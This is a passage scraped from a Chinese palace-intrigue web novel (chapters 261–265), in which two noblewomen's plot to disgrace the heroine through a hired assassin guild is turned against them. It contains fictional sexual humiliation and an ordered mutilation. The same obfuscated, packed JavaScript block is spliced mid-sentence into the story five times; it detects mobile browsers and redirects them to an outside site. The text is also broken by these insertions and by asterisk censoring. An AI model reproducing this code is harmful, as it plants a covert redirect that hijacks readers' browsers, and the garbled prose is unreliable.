赵景阳猛地一拍桌子,“她若不是走了狗屎运被陛下看中,哪有资格站在辰王哥哥身边,如今倒好,借着婚约的势,把商业街弄得风风火火,听说光是铺面租金就收了上万两,那可是上万两啊!凭什么她能赚得盆满钵满!” 她越说越气,祝玲珑也不甘示弱,“前些日子我让府里的管事去商业街看铺子,想盘下一间卖南国的香料,结果呢,结果却不租给我!” 说着,祝玲珑拿起帕子轻轻擦了擦指尖,“我看她就是故意的,她就是怕我们抢了她的风头,断了她的财路。” “听说连西域的舞姬都被她请去开了家酒肆,日日人满为患!”赵景阳冷哼一声。 所有的钱都被秦时月赚去了,真是可恶! “她那条商业街,不会一直平安无事。”祝玲珑的眼里露出一丝狰狞。 赵景阳一愣,“你这话是什么意思?” 闻言,祝玲珑凑近了些,压低了声音,“你想过没有,秦时月之所以能举办商业街,吸引商户们去她的商业街上经商,靠的是什么?” “是什么?” “是她的名声。倘若她的名声臭了呢?” 祝玲珑的话让赵景阳按捺不住地往前凑了凑,“你的意思是,找人去捣乱?” “嘘。”祝玲珑竖起手指抵在唇上,“慎言,咱们身份尊贵,怎能沾这些腌臜事?” 光是捣乱根本不能解她的心头火。 那个**胆敢勾引王爷,让王爷为了她不惜跟自己翻脸,那她就要让那个**臭名远扬,人尽可夫! 赵景阳心里的火被她几句话撩得痒痒的。 可转念一想,又有些犹豫,“可若是被查出来怎么办?” 她们身份尊贵,若是被查出来,贻笑大方是轻的,若是惹的陛下不悦…… “放心。”祝玲珑笑道:“我听闻你们京中近来冒出了个‘香影阁’。听说是江湖上新起的**组织,行事隐秘得很,只要给够价钱,什么活都接,而且,从不出卖雇主。” 听到这话,赵景阳还是有些迟疑,“**组织……会不会太狠了些,我只是想让她出出丑,没必要伤人性命吧。” “咱们哪能沾血腥,让香影阁去,不是让他们**,是让他们去闹。”祝玲珑顿了顿,“名声一臭,客人自然就少了。” 到时候那些商户定会埋怨秦时月管理不善,官府定然会出面整改,祝玲珑就可以趁机接手商业街。 纵使祝玲珑这样说,赵景阳依旧有些犹豫。 “就算真的出了什么岔子,那也是香影阁和秦时月的恩怨,与咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106034|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们有什么关系?”祝玲珑笑了一下,拿起桌上的茶水一饮而尽。 听到她这么说,赵景阳猛地一拍桌子,答应下来,“好,就这么办!” 说完,赵景阳站起身,快步走到门口,“等着我的好消息,我这就去叫心腹去联络香影阁,定要让秦时月那**吃不了兜着走!” 祝玲珑坐在原地没动,看着赵景阳风风火火离去的背影,端起茶盏,对着门口的方向遥遥一敬,嘴角的笑意冷了几分。 **何须自己出手,只要动动嘴皮子,自然会有人帮忙。 赵景阳你这个蠢货,希望你能把事情办得漂亮些。 另一边,赵景阳回到自己府上后,立刻屏退了左右,只留下心腹侍女,在她耳边低声交代了几句。 听完她的话,侍女愣了一下,“郡主,听闻香影阁收费极高,而且行事狠辣,此事……” 赵景阳从妆匣里拿出一个沉甸甸的锦袋,“这里面是五千两银票,告诉香影阁,事成后还有赏。” “郡主,这要是被查出来,可是掉脑袋的罪过啊!” “怕什么?”赵景阳瞪了她一眼,“香影阁最讲规矩,不会出卖雇主的,你只管去办,办好了,我对你另有赏赐,你不是对你娘家表兄有意吗?事情办成,我不仅给你一千两,还促成你和你表兄的亲事,如何?” 重赏之下,侍女的犹豫也消散了。 她咬了咬牙,将锦袋揣进怀里,“是,奴婢这就去办!” 与此同时,秦时月正坐在房间内看账本,这些天商业街的营收十分出色,假以时日,便能回本。 就在这时,窗外突然传来几声猫叫。 秦时月眉头一挑,将账本放到了一边,“进来。” 一道黑影翻窗而入,恭敬地跪在她面前,“主子,有消息。” “说。”秦时月面无表情。 “香影阁接到一笔生意,五千两银票,要搅乱商业街,还……还要毁您名节。”来人是影九,他语速极快的说明了来意。 第261章 算计到自己头上 听到这话,秦时月嘴角微勾,“雇主是谁?” 香影阁是她办的。 起初是觉得无聊,办个刺客网,处理一些她不方便出面的东西。 也幸好西郊训练出来的人够多,在香影阁训练个几年后,便有机会晋升王府暗卫。 “是赵景阳的心腹丫鬟,属下顺藤摸瓜,查到昨日午后,赵景阳去找过祝玲珑,并且逗留了近一个时辰才离开。” 如此说来,这件事就是她们俩合谋的? 房间里静了片刻,秦时月不屑地看向桌上的毛笔,眼神戏谑,“祝玲珑倒是个会躲在后面挑唆的。” 影九抬头,眼中闪过一丝狠厉,“主子,要我带人去将她们……” 他做了个抹脖子的动作,眼底的杀意有些骇人。 香影阁本就是为杀而生,在他看来,敢对主子出手的人,只有死路一条。 “死?”秦时月轻笑一声,“死是最便宜她们的。” “请主子示下。”影九拱手。 “你先应下这门生意。”秦时月缓缓起身,走到窗边,望着远处商业街的方向,“按她说的做。” “主子的意思是?”影九有些不解。 秦时月招了招手,让影九上前一步,然后她低下身子,在他耳旁说了几句,“去吧,按我说的做,别出岔子。” “是!”影九拱手,身影一晃,便消失在窗外的夜色里。 “赵景阳,祝玲珑。”秦时月笑道:“你们想玩,我便陪你们玩玩。” 当晚,秦时月让小荷放出消息,说是商业街要举办商铺交流会,并且秦时月会亲自登台,给商户们颁发奖励。 翌日清晨,赵景阳和祝玲珑也听到了这个消息。 这消息对他们来说可是好消息,正愁没有适合的机会对付秦时月,机会这不就来了吗? “哼,故弄玄虚。”赵景阳扭头看向一旁的祝玲珑,“搞什么交流会,我看她就是想再出出风头。” 祝玲珑坐在椅子上,透过窗户,望向商业街的方向,“越热闹,人越多,咱们的机会才越多,不是吗?” “你的意思是?”赵景阳拧眉道。 “咱们要的是让她身败名裂,找几个粗鄙的市井无赖,毁了她的清白,再把她衣不蔽体地扔到商业街最热闹的地方,你想想,到时候满京城的人都看着她,辰王殿下还会要这样的女人吗,陛下的赐婚,怕是也要作数了。”祝玲珑眼神阴鸷,将自己的计划全部说出。 在她看来,交流会人多,就算事后有人追查,也只会以为是哪个商户嫉妒秦时月,或是哪个被她得罪过的无赖趁机报复,怎么也轮不到怀疑她们头上。 就算被查出来,那也是赵景阳做的,和她祝玲珑又有什么关系呢? “凭什么她秦时月就能风光无限,我要让她知道,跟我作对的下场!” “好!就这么办!”赵景阳攥紧拳头,“我这就去安排人手,定要让她在交流会上,身、败、名、裂!” 交流会当天,商业街被挤得水泄不通。 赵景阳混在人群里,寻找着秦时月的身影,“时辰差不多了,让人动手。” 侍女点点头,朝人群外使了个眼色。 “让你的人去引她往后街走。”祝玲珑吩咐道。 赵景阳也没多想,只当她是胆小,心里冷哼一声,面上却有几分激动,“我这就去。” 说完,赵景阳就带着一伙人来到后街**。 一切都在秦时月的计划中,她很快发现了**者,随即不屑地笑了一下,转身对小荷轻声交代,“你在这里看着,我去东边看看。” 她,也该给他们一点机会,不是吗? “是。”小荷应声。 见状,祝玲珑心头一喜,望着秦时月离去的方向,冷冷勾起了嘴角。 眼看着秦时月的身影拐进了巷子深处,接着就传来几声闷响,像是有人被捂住了嘴。 “成了!”赵景阳心头一热,刚想探头去看,后颈突然一阵剧痛,眼前一黑就栽倒在地。 不知过了多久,赵景阳昏昏沉沉地醒了过来。 她挣扎着想动,却发现手脚都被捆着,眼前一片漆黑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106035|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唔……”赵景阳拼命扭动,却无法挣脱。 突然,她听到身边传来男人猥琐的笑声,“这小娘子长得不错啊。” 另一个声音接道:“拿钱办事罢了,把她衣服扒了,等天亮了把她扔到赵府门口,保准让赵家颜面扫地。” 赵府门口?他们要把自己扒光了扔到赵府门口? 赵景阳的脑子“嗡”的一声。 不对,他们要绑的人该是秦时月才对啊! 怎么会是她! 是秦时月那个**,一定是她发现了自己的计谋,从而设计陷害自己! 她挣扎许久,却无济于事,外衣被剥,人,也被吓的面无血色,彻底晕死过去。 …… 天蒙蒙亮时,管家打开门,刚迈出一步就被绊倒在地。 他骂骂咧咧地爬起来看了一下,顿时吓得魂飞魄散。 只见门口的石阶上,躺着一个只着里衣,披头散发的女人,那女人,正是他家嫡小姐,赵景阳! “郡、郡主?”管家反应过来,连滚带爬地往里冲。 又怕今日之事传出去,压低了嗓音叫人,“快,快来人,出事了!快来人将门口的女子裹严实抬进来!” 可他不知,此时门口,早已经炸开了锅…… 赵太傅起初不知发生了什么,上朝必经大门,瞥了一眼,看到这一幕,一口气没上来,直接晕了过去。 消息很快就传到了宫里。 此时,皇帝正在批阅奏折,江福德结结巴巴地将赵景阳的遭遇说出。 皇帝猛地抬头,惊讶道:“你说什么?景阳被人,扔在了府门口?” 江福德吓得跪在地上,连声道:“是,是真的陛下,赵府已经乱成一锅粥了,赵太傅气得吐血,现在在外面求陛下为赵家做主!” 皇帝闭了闭眼,烦躁的抬手捏了捏眉心,暗骂一声废物。 再怎么说,赵家是太后的母家,赵景阳是亲封的郡主,如今她当街被剥了衣服,就相当于被人毁了清白,还被扔在府门口示众,不就是再打他皇室的脸吗! 第262章 证人死,线索直指祝玲珑 “查。”皇帝猛地睁开眼,眼底多了一丝杀意,“给朕彻查,不管是谁干的,就算挖地三尺,也要把人给朕找出来!” 虽然赵家如今势头不如从前,但赵太傅浸淫朝堂多年,也不是那么好随意打发的,就算为了安抚朝堂,他也得做做样子。 第二日一早,江福德就向皇帝禀报,“陛下,赵太傅在外面求见。” “让他进来。”皇帝有些烦躁。 赵太傅进入殿中,对着皇帝的方向恭敬地跪了下去,“老臣参见陛下!” “太傅快快请起。”皇帝立即招手,故作一脸沉痛。 “臣,臣请陛下为小女景阳做主啊!”赵太傅丝毫没有要起身的意思,他老泪纵横地恳求道:“景阳是皇家册封的郡主,如今遭此奇耻大辱,不仅是打老臣的脸,更是打陛下的脸啊!若此事不能水落石出,国法何在?皇家颜面何在!?” 赵家虽是太后母家,但自从太后去世,这些年势不如前,但赵太傅毕竟是三朝元老,如今小女儿出了这等事,任谁看了都得唏嘘几分。 更重要的是,这事确实如赵太傅所说,明晃晃打了皇家的脸。 皇帝亲封的郡主被人如此糟践,传出去,岂不是贻笑大方。 此刻,皇帝坐在龙椅上,脸色阴沉,“太傅起来说话,此事朕已下令彻查,定会给赵家一个交代。” 就在这时,赵家长子风风火火地走了进来,一进门,立刻恭敬地行了个礼,随后回禀道:“陛下,刑部已经把绑匪抓到了。” 听到这话,皇帝的脸色有了些许缓和,他看了赵太傅一眼,“既然已经抓到,那就好好审审,把背后之人找出来!” “找不出来了。”赵家长子叹了口气。 皇帝脸色难看,气压有些低,“你说什么!?” “陛下,绑匪昨夜在刑部大牢里畏罪**了,死无对证。” 此话一出,在场所有人都吃了一惊,他们纷纷屏住呼吸,看向赵太傅。 谁都知道,刑部大牢守卫森严,重犯想**,哪有那么容易? 恐怕,是背后有人不想让他们开口,早在身上给他们下了毒。 “竟有此事!”皇帝的声音变得严肃,“刑部尚书何在?” 刑部尚书眉心一跳,连忙躬身走出。 “犯人在你眼皮子底下**,你该当何罪!” 刑部尚书吓得一个激灵,连忙跪倒,“回陛下,昨夜亥时,狱卒巡查时发现绑匪用裤腰带缠在房梁上,等发现时已经没气了,臣已经下令严查,但是……” “查不出是谁动的手脚,朕要你这个刑部尚书有何用!?” 李尚书满头冷汗,连连磕头,“臣失职,臣罪该万死!” 见状,赵家长子往前走了一步,“陛下,那几个绑匪虽死,但臣等在他们落脚的破庙里搜到了这个!” 说完,他从袖中掏出一块玉佩,双手呈上。 “据臣所知,这块玉佩是南国特有的暖玉,四国使者如今也只有南国使者还未曾离开。” 此话一出,朝堂上顿时唏嘘一片,不用想,也知道此事和谁有关。 皇帝捏着玉佩,表情凶狠,“你的意思是,玲珑郡主!?” “臣不敢贸然揣测,但如今证据直指玲珑郡主,想要查清事实真相,恐怕还得请郡主朝堂辩证。”赵家长子咬牙。 南国是大周的附属小国,这些年一直靠着纳贡维持着表面的和平。 祝玲珑作为南国郡主,来京城本是为了增进两国情谊。 若这次的事当真是她做的,怕是会影响两国情谊。 “陛下!”赵太傅磕了个头,“南国蛮夷竟敢加害我国郡主,此等行径,是可忍孰不可忍!” 南国使团若敢在京城行此不法之事,确实该给个说法。 皇帝看着手中的玉佩,又看了看地上跪着的赵家人,眉头拧成了疙瘩。 即使他不愿相信祝玲珑会做出这种事,可如今人证已死,物证却指向了南国使团,加上赵家在朝堂上哭闹不休,若是不给个明确的态度,怕是难以安抚人心。 更重要的是,赵家再失势,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114226|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太后母家,他若表现得太过冷淡,难免会被人说三道四,寒了老臣的心。 “传朕旨意。”皇帝沉默半晌,终于开口,“宣玲珑郡主,即刻进殿!” 文武百官们听到此话,纷纷低头,沉默不语。 赵太傅父子终于松了口气。 文武百官们心里都清楚,这事一旦牵扯上南国使团,就不再是简单的案子了,弄不好,还会牵动两国邦交。 辰王府。 宋墨辰坐在王府书房,听到侍书的汇报,淡漠的勾了勾唇。 今日军营有事,他一早就递了折子没上朝,如今看来,自己要错过一出热闹了。 不过,这件事处处透着稀奇。 目前来看,祝玲珑跟使团来靖垣的目的是他,所以,绝不可能在这个节骨眼对赵景阳出手,事实如何,怕是没那么简单。 祝玲珑正坐在桌前,心中不安的等待着秦时月被糟蹋的消息。 算算时间,秦时月的事应该已经传遍京城的大街小巷了,怎么还没人来报? 就在这时,太监匆匆赶来,传召祝玲珑入宫。 “传我入宫?”她一脸疑惑,眼底还透着一丝心虚、害怕。 难道是,查到了自己头上? 不,不可能! 她一直躲在赵景阳那个蠢货背后,一切都是赵景阳做的,她的手,一直很干净,怎么可能会被人查到! 祝玲珑深吸一口气,强迫自己冷静下来,然后对着镜子理了理鬓发,努力挤出一个镇定的笑容。 不能露怯,她可是南国郡主,代表的是南国的颜面,就算是真查到了她头上,为了两国邦交,皇帝也不可能降罪于她。 在太监的带领下,祝玲珑忐忑地入了宫,进殿后,她站在大殿中央,规矩地行了个礼,眼神半垂,不敢抬眸看高高在上的皇帝。 赵太傅和赵家大公子愤怒地瞪着她,那眼神像是要把她撕碎似的。 “玲珑参见陛下,不知陛下今日急召,有何吩咐。”祝玲珑嘴角含羞带怯,让人看不出异状。 第263章 证物 皇帝端**,目光落在她身上,半晌没说话。 祝玲珑心里一跳,手不自觉的攥紧。 “都是你,是你害了我女儿!”赵太傅愤怒地抬手指着祝玲珑,目眦尽裂,浑身上下充满杀意。 “太傅说哪里话?玲珑听不懂,我和景阳郡主要好,怎可能加害她?”祝玲珑一滞,强装镇定,一脸委屈的侧了侧头。 难道是赵景阳失败了,还把自己供了出来? 这个蠢货,果然不能对她抱有太大的期望! “毒妇!还不承认!”赵太傅愤愤道。 如今赵家在京城的名声一落千丈,赵景阳自醒后,更是疯疯癫癫的,日日吵着要死,他恨不能当场掐死这个南国**! “景阳郡主的所作所为我全不知情,不知太傅为何要冤枉我。”祝玲珑深吸口气,故作强势的双手抱胸。 皇帝抬手,太监捧着那块暖玉上前,将玉佩亮到祝玲珑面前。 见到玉佩的那一刻,祝玲珑有些疑惑,不解地抬头看向皇帝。 这暖玉确实是她南国特有,不过,他们从何弄来的? “玲珑郡主。”皇帝冷冷地说道:“这块玉佩你识得吗?” 祝玲珑缓缓抬头,深吸一口气,笑道:“陛下,这玉佩瞧着倒是南国的暖玉,只是,玲珑从未见过。” 不论如何,她都不可能在这样的场合下承认。 “这块玉佩,可是你们南国特有的!”赵大公子说道。 “南国宗室的玉佩都是有花的纹样,许是哪位族人不慎遗失的吧。”祝玲珑耸耸肩,一副事不关己的样子。 “遗失?”赵大公子猛地从地上抬起头,眼眶通红,“祝玲珑!你这话骗得了三岁孩童,骗得过满朝文武吗!” “这玉佩是从**舍妹的匪人窝点搜出来的,你敢说毫不知情!” 听到这话,祝玲珑愣了一下。 **? 谁?赵景阳? 什么时候的事?她怎么不知道? 赵景阳咽口唾沫,心虚的挪开眼,“赵公子说什么,玲珑听不明白。” 见她这副样子,赵大公子气地双手握拳,死死瞪着祝玲珑,“景阳昨晚一夜未归,还被贼人做出了……做出了那等事,你敢说不是你做的!” 他实在羞于启齿。 这下,祝玲珑算是彻底明白了,原来赵景阳是偷鸡不成蚀把米。 废物,一个个都是废物! 现在好了,秦时月没有受到一点伤害,还把她自己搭了进去,真是蠢的无可救药! “赵公子息怒。”祝玲珑微微蹙眉,语气里添了几分委屈,“景阳郡主发生此等事情,我也很痛心,但是我确实是不知情的。” “至于玉佩,玲珑方才已说,南国暖玉流通甚广,总不能凭着一块玉,就定人罪名吧。”祝玲珑顿了顿,抬眼看向皇帝,“陛下明鉴,玲珑此次随使团来此,只为增进两国情谊,怎会做这等伤天害理之事?” “增进情谊?”吏部侍郎走出来,“玲珑郡主这话,怕是言不由衷吧。” 他是宋墨辰的人,在等祝玲珑进宫的这段时间,已经有人暗中给他递了话,无论如何,一定要让祝玲珑认罪。 虽然**宋墨辰为何要对付祝玲珑,但他作为宋墨辰的手下,听从吩咐就是了。 祝玲珑看向他,心头一紧,面上却依旧镇定,“这位大人何出此言?” “何出此言?”吏部侍郎坦言道:“郡主说玉佩或许是他人遗失的,可据臣查证,这种玉佩只有南国最尊贵的几个人拥有,便是整个南国使团,能拥有这枚玉佩的,只能是您,如果这块玉佩不是您的,请问,您的玉佩在哪?” 听到这话,祝玲珑下意识地触碰了一下腰间。 等等,她的玉佩呢! 平时她都是挂在腰间的,昨日还有,今天怎么不见了! 难不成,那块玉佩真的是她的? 一定是有人偷了她的玉佩陷害她! “我……”祝玲珑支支吾吾地,不知道该如何为自己解释。 吏部侍郎咄咄逼人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114227|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “郡主无法回答吗?” 祝玲珑深吸一口气,让自己平静下来,“大人仅凭一个玉佩就想将脏水泼到玲珑身上吗?南国虽是小国,却也有颜面,大人这般咄咄逼人,莫非是想挑拨两国关系?” “郡主言重了。”又一名官员出列,是兵部尚书,“我等只是就事论事,何来挑拨之说?” 他,也是宋墨辰的人。 “我知道了,是明月县主,是她害了景阳郡主。”祝玲珑眼前发黑,干脆喊道。 她猜到这一切必然跟秦时月有关,既然她不好过,那秦时月也别想好过! 听到这话,皇帝有些不满地蹙起眉毛,眼神中带着探究。 “你不要胡乱攀咬!”吏部侍郎愤怒道。 “就是秦时月!”祝玲珑争辩,“她和景阳郡主本就不和,一定是她做出了伤害郡主的事,然后,然后把这一切嫁祸给了我!不信你们就去查啊!” “够了!”皇帝危险的看着殿中的众人,对着江福德冷声道:“请明月县主进宫!” 祝玲珑这条线看样子是要废了,既然这样,不如把秦时月一起拉下马! 不论如何,都不能让宋墨辰得了便宜! 不多时,秦时月在江福德的引路下走进大殿。 她盈盈一拜,做足了姿态。 在得知自己被传来的原因后,秦时月不疾不徐的看向祝玲珑,笑道:“郡主攀咬我,我倒是没想到,不过,我倒是想起一些事。前些时日,我曾看见你在街上与景阳郡主吵架,若说有嫌隙,你们之间怕也不清楚吧?” 祝玲珑的额头上沁出一层冷汗,面上一派强撑出来的镇定,“不,不过是女儿家闲谈,偶有口角罢了,明月县主不会以为,这也能当呈堂证供吧?” “闲谈?我听得清清楚楚,玲珑郡主曾对景阳郡主说,‘有些人占着不属于自己的东西,迟早要付出代价’,不知郡主口中的‘有些人’,是谁?”秦时月轻掩口鼻,一副后怕的样子。 这话一出,殿内顿时响起一片窃窃私语。 第264章 被拿下,定罪 “你,你可真会断章取义,我与景阳郡主说的是胭脂水粉的款式,不过是玩笑话,怎能拿来做证!”祝玲珑眼前发黑,突然意识到,有什么不对劲。 “陛下请看,这是臣查到的。”不等秦时月再开口,兵部尚书将自己调查到的证据呈上,“景阳郡主出事前,玲珑郡主天天与景阳郡主在一起,两人还一起商量什么。” 吏部侍郎紧跟着,“臣也查到,玲珑郡主的玉佩边缘处有缺损,陛下可以查一下此玉佩边缘处,是否有缺损!” “查!”皇帝挥挥手,不动声色的瞪了秦时月一眼。 太监立即将玉佩拿起来,仔细地看了看,最终回禀道:“回陛下,确实有缺损。” 听到这话,祝玲珑瞪大了眼睛,眼中满是惊愕,“不可能,绝对不可能!” “玲珑郡主,你还有什么话好说?” 秦时月似笑非笑的看着祝玲珑在兵部尚书的步步紧逼下脸色越来越惊慌。 敢算计她,这,还只是开始! “陛下,不是我,这玉佩虽然是我的,但我,但我从来没有伤害过景阳郡主!” “那你解释解释,你为什么要找景阳郡主,还和她一起出现在商业街上。”吏部侍郎问道。 听到这话,祝玲珑愣住。 她看着秦时月,眼神慌张,张了张嘴,一个字也说不出来。 如果将自己的计划说出来,不仅秦时月、宋墨辰不会放过她,就连赵景阳这堆烂事,也不一定能翻盘,到那时,她必死无疑。 殿内再次陷入死寂。 赵太傅老泪纵横道:“玲珑郡主,景阳待你不薄,你为何要这般害她!她到底哪里碍着你了!” 祝玲珑被问得节节后退,她慌乱地看向南国使团的方向,带着几分求助的意味。 李使者一直沉默地站在使团队列里,此刻见祝玲珑望过来,无奈地走了出来。 该死,这郡主真会添乱! 做出这种事,还要连累整个使团,乃至整个南国! 他对着皇帝深深一揖,“陛下,此事是我南国管教不严之过。” 听到这话,祝玲珑脸色瞬间变得惨白,“李使者!你,你怎么能这么说,不是我做的,你也不相信我!” 李使者没看她,只对着皇帝继续说道:“玲珑郡主年少轻狂,但这件事绝非南国授意的,还请陛下不要迁怒无辜……” 他知道祝玲珑对辰王心存爱慕,今日做出这种事,怕是因为赵景阳对辰**在必得,而她又求爱不得,所以才做出如今的荒唐事,甚至还想借此陷害秦时月,不动一兵一卒的将辰王身边的女子全部处理掉。 可惜啊……她太过冒进了,竟然将贴身玉佩丢在现场,成了他们指证的证据。 “不是我做的,你为什么不信我!” “陛下,此事虽是祝郡主一时糊涂,但终究是我南国宗室之女犯下的过错,臣难辞其咎,臣恳请陛下息怒,容臣将此事如实禀报南国君主,定会按国法处置,绝不敢徇私。” 祝玲珑眼中满是血丝,大吼一声,“你所谓的交代,就是把我推出去顶罪吗!” “郡主,事到如今,你还不明白吗!”李使者嫌弃地看着她,“你私自行事,不仅败坏了南国的名声,险些动摇两国邦交,已是罪无可恕!” 为了两国邦交,他只能放弃祝玲珑。 “你……”祝玲珑气得浑身发抖。 她猛地扑向皇帝,嘶喊道:“陛下!臣女冤枉!是他们陷害我的!陛下明察啊!” 皇帝眉头紧锁,显然已对她的哭闹厌烦至极。 他挥了挥手,命令道:“拿下!” 两名侍卫立刻上前,一左一右架住祝玲珑。 “放开我!我是南国郡主!你们不能这样对我!” “带下去!押回驿站!”皇帝的声音没有一丝波澜。 侍卫架着祝玲珑往外走,她的哭喊声越来越远。 看到这一幕,秦时月在心里冷哼一声,面上却没有半点波澜。 李使者对着皇帝再次躬身,“陛下,臣定会严加看管,待禀明我南国君主后,任凭陛下发落。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119200|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻言,皇帝淡淡点头,“赵太傅,祝玲珑已处置,景阳郡主那边,朕会派最好的太医去照看,再赐些补品,你且宽心。” 赵太傅知道,这已是最好的结果,随后跪地谢恩。 皇帝复又看向秦时月,“时月无辜遭连累,江福德,去取玉如意、东海珊瑚树、玲珑玛瑙来,算作补偿。” 秦时月面上浮现出一丝感恩,随后跪地谢恩,实则,心里没有一丝波澜。 “朕乏了,退朝吧。”皇帝摆了摆手,示意都退下。 回宫的马车上,小荷一脸兴奋,“小姐,听说李使者亲自认了罪,眼下关在驿馆里,是朕的吗?” 真可惜,她被拦在宫门口,不能亲眼见证祝玲珑被定罪的那一刻。 “嗯,那个李使者倒是识趣,知道什么人能保,什么人该舍。”秦时月笑哼一声。 “小姐,咱们接下来该怎么办?” “等着就是。”秦时月松了口气,伸了伸懒腰。 皇帝就算想保祝玲珑,也要看赵家愿不愿意罢手。 就在这时,马车突然停了下来,车帘被掀开,宋墨辰身穿一件玄色衣服,手上拿着一把扇子,大摇大摆地跳了进来。 见状,小荷立刻识趣地退出马车,不去打扰他们。 “宫里的动静,是你布的局。”宋墨辰开口,不是询问,而是陈述。 秦时月抬眸,对上宋墨辰的眼睛,淡淡地笑了一下,笑意不达眼底,“是又如何?王爷是要替玲珑郡主求情?” 宋墨辰皱皱眉,一把将她揽进怀里,“你猜,殿上那几个咬死祝玲珑的人,是谁安排的?” 她一把推开他,面色不变,“若不是知道他们是你的人,你以为,你今日能上得了马车?” 宋墨辰怀中一空,忍不住有些失落,但很快又笑着逗她,“怎么,她住进王府,你吃醋了?” “会不会是她看我不顺眼,想要毁掉我,我才不得已反击的?” “她做了什么?”宋墨辰危险的眯着眼,直接问道。 贱婢怎么敢!! 第265章 要贱婢一双手 “没什么,大概是她觉得,我不配和你在一起吧。”说完,她侧目看向飘起的窗帘处。 事情已经解决了,再说了,她不需要任何人代她报仇。 她,有仇当场报。 “什么?”宋墨辰不明白她话里的意思,一脸疑惑地看向她。 “祝玲珑教唆赵景阳,利用她对我出手。”秦时月坦然道:“赵景阳派心腹去了香影阁,让他们对付我。可惜她们不知道,香影阁是我的。” 一想到这秦时月就想笑。 宋墨辰静静地坐在一边,面上没什么波动,实则,眼底已经有风暴汇聚。 他把祝玲珑放在身边,一来是想利用她加速收服周边小国的进度,二来是担心她会做出伤害秦时月的事,留在身边便于掌控,没想到,**竟然敢! “没事,我已经报复回去了。”秦时月毫不在意,“一箭双雕,祝玲珑和赵景阳,一个都跑不掉。” 赵景阳已经没名声可言了,即便嫁入屠户家,怕是也会受尽蹉跎,而祝玲珑是一定会被定罪的,而且赵家也不会放过她。 “对不起,是我没能早点察觉。”宋墨辰攥紧拳头,声音沙哑。 祝玲珑被关押在驿馆,太过便宜她了! 秦时月笑了一下,并没有说什么。 “影夜。”宋墨辰对外面唤了一声。 “属下在。”影夜不知从何处冒了出来。 “传我的令。”宋墨辰满脸杀意,“你亲自带一队人,南国使团回程的路上,做成匪患,除掉祝玲珑。” 秦时月皱皱眉,下意识伸手拉住他的衣袖,“不可。” 让人死太容易了,活着,才能体会到什么叫生不如死! 再说了,若是祝玲珑死在京城,两国关系必然会变得紧张,说不准还会大动干戈,为了一个祝玲珑,实在是不值得。 宋墨辰深吸一口气,闭上眼睛,强压下心中的愤怒,“那就不取她性命,断她双手,给我带回来。” 不能杀了她,那就断她双手。 伤了月月,必须要付出代价! 影夜没有半分迟疑,应声道:“是”。 随即便消失得无影无踪。 马车外又恢复了平静,秦时月有些意外地看向宋墨辰。 她料到他会动怒,毕竟祝玲珑的算计摆到了明面上,可她没料到他会做得如此决绝。 断人双手,于任何人而言都是奇耻大辱,更何况祝玲珑还是女子、郡主,甚至于,战场上的一支利箭。 这般处置,无疑是狠狠打了南国的脸面,稍有不慎,便可能牵动两国邦交,后果不堪设想。 “你。”秦时月有些犹豫,“当真不顾后果了?你这般处置,若是传出去,怕是会引来非议。” 况且,这么好的棋子,说扔掉就扔掉,不觉可惜吗? “她敢算计你,就要付出代价。”宋墨辰冷哼一声。 “先前之所以对祝玲珑那般容忍,不过是觉得,有她帮助,会快一点。”宋墨辰平静地说道:“可她千不该万不该,不该把主意打到你身上。” 